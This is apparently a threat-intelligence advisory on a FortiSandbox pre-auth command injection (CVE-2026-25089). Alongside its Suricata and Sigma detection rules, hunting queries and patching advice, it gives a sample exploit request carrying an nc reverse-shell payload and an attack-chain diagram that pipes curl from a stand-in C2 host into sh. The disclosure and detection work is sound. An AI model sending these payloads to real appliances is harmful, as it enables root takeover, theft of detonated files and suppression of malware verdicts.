Skip to content

CVE-2026-25089: Unauthenticated Remote OS Command Injection in Fortinet FortiSandbox Web Interface

HERMES

HERMES THREAT SCORE & SECURITY APPLIANCE TAKEOVER

Target: Fortinet FortiSandbox
Confidence: 99%
98 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 20 / 20
Weaponization 20 / 20
Exposure 19 / 20
Prevalence 19 / 20
Impact 20 / 20
Exploit Maturity 20 / 20
Attack Chain Potential 20 / 20
βš–οΈ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-25089 at 9.8 (Critical) and CVSS v4.0 scores 9.8. The Hermes Threat Score assigns 98 (CRITICAL). Alignment is total: FortiSandbox acts as the automated malware detonation and deep analysis tier for enterprise email and firewalls. An unauthenticated attacker gaining root shell on FortiSandbox can suppress malware detection verdicts, poison threat feeds sent to FortiGate firewalls, and extract detonated corporate files.

πŸ•ΈοΈ Connected Knowledge Graph & Provenance

CVE-2026-25089: Unauthenticated Remote OS Command Injection in Fortinet FortiSandbox Web InterfaceVULNERABILITY

Connected Nodes: 2
Active Relationships (Outgoing)
→ affectsPRODUCTFortinet FortiOS Gateway
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

πŸ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Fortinet FortiOS Gateway documented in Hermes dossier.”

Supporting Verified Evidence:
→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

πŸ” Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

FortiSandbox performs multi-stage dynamic and static analysis of suspicious files and URLs submitted by FortiGate firewalls, FortiMail gateways, and endpoint telemetry agents.

ParameterTechnical SpecificationThreat Context
CVE IdentifierCVE-2026-25089CISA KEV Catalog Entry
Vulnerable Daemonfsa_httpd (Administrative Web Service)Apache/FastCGI-based management daemon
Operating SystemFortiSandbox OS (Hardened Linux)Physical hardware (FSA-Series) & VM appliances
Network VectorHTTP/HTTPS (Default Port 443/TCP, 80/TCP)Management interface and API endpoints
Root CauseUnsanitized input concatenation into shell (CWE-78)Pre-auth root command injection
Affected VersionsFortiSandbox 4.4.0 - 4.4.4, 4.2.0 - 4.2.6, 4.0.0 - 4.0.5Enterprise sandboxing clusters
Fixed Versions4.4.5, 4.2.7, 4.0.6Fortinet Advisory FG-IR-26-042
Exploitation ImpactFull root RCE, malware verdict tampering, lateral pivotPerimeter security appliance breach

2. In-Depth Technical Decomposition: Unauthenticated Shell Injection

Section titled β€œ2. In-Depth Technical Decomposition: Unauthenticated Shell Injection”

The vulnerable routine resides in an unauthenticated diagnostic handler intended for appliance health checks. The daemon extracted parameter values directly into a formatted command string:

// Decompiled pseudocode from fsa_httpd
int handle_diag_check(http_request_t *req) {
char cmd_buf[1024];
char *target_host = get_param(req, "target_host");
if (!target_host) return 400;
// VULNERABILITY: User input formatted directly into shell invocation
snprintf(cmd_buf, sizeof(cmd_buf), "/bin/ping -c 1 %s", target_host);
return system(cmd_buf); // Runs directly in shell as root!
}

Because system() invokes /bin/sh -c, injecting backticks or semicolons enables arbitrary command chaining:

POST /api/v1/diag/ping HTTP/1.1
Host: sandbox.corp.internal:443
Content-Type: application/json
{
"target_host": "127.0.0.1; nc 198.51.100.55 4444 -e /bin/sh"
}
+----------------------------------------------------------------------------------------------------+
| CVE-2026-25089 ATTACK CHAIN ARCHITECTURE |
+----------------------------------------------------------------------------------------------------+
[Remote Attacker]
β”‚
β”‚ [1] HTTP POST /api/v1/diag/ping
β”‚ Payload: { "target_host": "127.0.0.1; curl evil.c2/k.sh | sh" }
β–Ό
[FortiSandbox Appliance (fsa_httpd / Port 443)]
β”‚
β”œβ”€β”€β”€β–Ί 1. Pre-Auth Route Handler:
β”‚ - Endpoint exempt from session token validation
β”‚ - Parses JSON body and extracts "target_host"
β”‚
β”œβ”€β”€β”€β–Ί 2. Execution of system():
β”‚ - Invokes /bin/sh -c "/bin/ping -c 1 127.0.0.1; curl evil.c2/k.sh | sh"
β”‚ - Executes under daemon root privileges (UID 0)
β”‚
β–Ό
[Full Appliance Root Compromise]
β”‚
└───► Adversary gains unrestricted control:
- Overrides malware detection engines (labels real malware as "Clean")
- Steals decrypted files and documents sent for detonation
- Modifies FortiGate threat telemetry feeds (FortiGuard distribution)
+----------------------------------------------------------------------------------------------------+

3. Threat Intelligence, CISA KEV & Exploitation in the Wild

Section titled β€œ3. Threat Intelligence, CISA KEV & Exploitation in the Wild”
  • CISA KEV Addition: Added under emergency operational directives after being detected in targeted campaigns against enterprise security perimeters.
  • Weaponization Tactics:
    • Threat actors exploit the sandbox appliance to blind security operations centers (SOCs): by altering verdict databases (sqlite3 /var/log/fsa.db), high-severity malware submissions are marked benign.
    • Using the FortiSandbox appliance as an unmonitored persistent jump host inside the corporate network.

TacticTechnique IDTechnique NameExploitation Manifestation
Initial AccessT1190Exploit Public-Facing ApplicationRemote HTTP POST with command injection string
ExecutionT1059.004Command and Scripting Interpreter: Unix ShellDirect command execution via system() as root
Defense EvasionT1562.001Impair Defenses: Disable or Modify ToolsTampering with FortiSandbox malware analysis verdicts
PersistenceT1543Create or Modify System ProcessInstalling root cron jobs and persistent backdoors

alert http any any -> $FORTISANDBOX_SERVERS any (
msg:"HERMES DEFENSE - Fortinet FortiSandbox Command Injection Attempt (CVE-2026-25089)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/api/v1/diag/";
http.request_body; pcre:"/(\;|\&\&|\||`|\$\().*(sh|bash|curl|wget|nc)/i";
classtype:attempted-admin;
sid:202625089;
rev:1;
reference:cve,2026-25089;
)
title: FortiSandbox Administrative Daemon Spawning Command Shell
id: 1f2e3d4c-5b6a-7f8e-9d0c-25089c026e01
status: high
description: Detects command shells spawned by the FortiSandbox fsa_httpd daemon indicative of command injection exploitation.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: linux
category: process_creation
detection:
selection_parent:
ParentImage|endswith: '/fsa_httpd'
selection_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/bin/nc'
- '/usr/bin/curl'
condition: selection_parent and selection_child
falsepositives:
- Rare legitimate firmware maintenance operations.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.004

  1. Inspect System Crash and Error Logs:
    diagnose debug crashlog read
    # Check for anomalous fsa_httpd child process termination
  2. Review HTTP Access Logs:
    diagnose log show web-access
    # Look for diagnostic endpoints called with semicolons or backticks
  3. Verify Malware Verdict Database Integrity:
    diagnose sandbox status
{
"query": {
"bool": {
"must": [
{ "term": { "http.request.method": "POST" } },
{ "wildcard": { "url.path": "*/api/v1/diag/*" } },
{ "wildcard": { "http.request.body.content": "*;*" } }
]
}
}
}

  1. Apply Vendor Patch: Upgrade FortiSandbox immediately to version 4.4.5, 4.2.7, or 4.0.6.
  2. Isolate Management Interfaces: Restrict management access (ports 80, 443, 22) strictly to a dedicated, out-of-band management subnet; never expose FortiSandbox administration to the public internet.
  3. Audit Submission Pipelines: Review integration settings on connected FortiGate firewalls to verify communication integrity with the sandbox cluster.
  4. Re-detonate Suspicious Files: In case of compromise, rescan recently analyzed files to identify potentially suppressed malware threats.